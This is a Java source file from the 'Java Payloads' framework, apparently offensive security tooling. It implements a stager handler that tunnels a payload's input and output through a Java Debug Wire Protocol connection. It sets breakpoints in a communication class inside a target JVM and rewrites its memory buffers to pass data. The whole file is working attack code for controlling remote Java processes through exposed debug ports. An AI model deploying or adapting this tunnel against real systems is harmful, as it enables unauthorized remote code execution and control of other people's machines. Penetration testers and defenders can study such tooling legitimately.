/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.handler.stager;
import java.io.PipedInputStream;
import java.io.PipedOutputStream;
import java.io.PrintStream;
import java.util.Arrays;
import java.util.List;
import javapayload.handler.stage.StageHandler;
import com.sun.jdi.ArrayReference;
import com.sun.jdi.ByteValue;
import com.sun.jdi.ClassType;
import com.sun.jdi.LocalVariable;
import com.sun.jdi.Location;
import com.sun.jdi.Method;
import com.sun.jdi.ThreadReference;
import com.sun.jdi.VirtualMachine;
import com.sun.jdi.event.BreakpointEvent;
import com.sun.jdi.event.Event;
import com.sun.jdi.event.EventIterator;
import com.sun.jdi.event.EventSet;
import com.sun.jdi.request.BreakpointRequest;
import com.sun.jdi.request.EventRequest;
public class JDWPTunnel extends StagerHandler implements Runnable {
private ClassType communicationClass;
private WrappedPipedOutputStream pipedOut;
private PipedInputStream pipedIn;
private PrintStream errorStream;
protected void handle(StageHandler stageHandler, String[] parameters, PrintStream errorStream, Object extraArg) throws Exception {
this.errorStream = errorStream;
if (extraArg == null || !(extraArg instanceof ClassType))
throw new IllegalArgumentException("No JDWP communication class found");
communicationClass = (ClassType) extraArg;
VirtualMachine vm = communicationClass.virtualMachine();
if (vm.eventRequestManager().stepRequests().size() > 0) {
throw new RuntimeException("Some threads are currently stepping");
}
if (vm.eventRequestManager().breakpointRequests().size() > 0) {
throw new RuntimeException("There are some breakpoints set");
}
PipedOutputStream pos = new PipedOutputStream();
pipedOut = new WrappedPipedOutputStream(pos);
pipedIn = new PipedInputStream();
new Thread(this).start();
stageHandler.handle(new WrappedPipedOutputStream(new PipedOutputStream(pipedIn)), new PipedInputStream(pos), parameters);
}
public void run() {
VirtualMachine vm = communicationClass.virtualMachine();
try {
Location interceptIn = ((Method)communicationClass.methodsByName("interceptIn").get(0)).locationOfCodeIndex(2);
Location interceptOut = ((Method)communicationClass.methodsByName("interceptOut").get(0)).locationOfCodeIndex(2);
BreakpointRequest req = vm.eventRequestManager().createBreakpointRequest(interceptIn);
req.setSuspendPolicy(EventRequest.SUSPEND_EVENT_THREAD);
req.setEnabled(true);
req = vm.eventRequestManager().createBreakpointRequest(interceptOut);
req.setSuspendPolicy(EventRequest.SUSPEND_EVENT_THREAD);
req.setEnabled(true);
final com.sun.jdi.event.EventQueue q = vm.eventQueue();
boolean done = false;
errorStream.println("== Handling I/O events...");
while (true) {
final EventSet es;
if (!done) {
es = q.remove();
} else {
es = q.remove(1000);
if (es == null) {
break;
}
}
for (final EventIterator ei = es.eventIterator(); ei.hasNext();) {
final Event e = ei.nextEvent();
if (!done && e instanceof BreakpointEvent) {
final BreakpointEvent be = (BreakpointEvent) e;
final Location loc = be.location();
final ThreadReference tr = be.thread();
if (loc.equals(interceptIn)) {
LocalVariable result = (LocalVariable) loc.method().variablesByName("result").get(0);
LocalVariable buffer = (LocalVariable) loc.method().arguments().get(0);
ArrayReference buf = (ArrayReference) tr.frame(0).getValue(buffer);
new InputInterceptHandler(tr, buf, result).start();
} else if (loc.equals(interceptOut)) {
LocalVariable result = (LocalVariable) loc.method().variablesByName("result").get(0);
LocalVariable data = (LocalVariable) loc.method().arguments().get(0);
ArrayReference buf = (ArrayReference) tr.frame(0).getValue(data);
List values = buf.getValues();
byte[] temp = new byte[buf.length()];
for (int i = 0; i < temp.length; i++) {
temp[i] = ((ByteValue)values.get(i)).byteValue();
}
pipedOut.write(temp);
pipedOut.flush();
if (temp.length == 0) {
pipedOut.close();
pipedIn.close();
done = true;
}
tr.frame(0).setValue(result, vm.mirrorOf(true));
tr.resume();
} else {
throw new RuntimeException("Unknown location: "+loc);
}
} else {
System.out.println("== Unknown event received: " + e.toString());
es.resume();
}
}
}
}
catch(Throwable t) {
t.printStackTrace(errorStream);
}
vm.dispose();
}
protected boolean needHandleBeforeStart() { return false; }
public class InputInterceptHandler extends Thread {
private final ThreadReference thread;
private final ArrayReference buffer;
private final LocalVariable result;
public InputInterceptHandler(ThreadReference thread, ArrayReference buffer, LocalVariable result) {
this.thread = thread;
this.buffer = buffer;
this.result = result;
setDaemon(true);
}
public void run() {
try {
byte[] temp = new byte[buffer.length()];
int len = pipedIn.read(temp);
if (len > 0) {
ByteValue[] bytes = new ByteValue[len];
for (int i = 0; i < bytes.length; i++) {
bytes[i] = thread.virtualMachine().mirrorOf(temp[i]);
}
buffer.setValues(0, Arrays.asList(bytes), 0, len);
}
thread.frame(0).setValue(result, thread.virtualMachine().mirrorOf(len));
thread.resume();
} catch (Throwable t) {
t.printStackTrace(errorStream);
}
}
}
}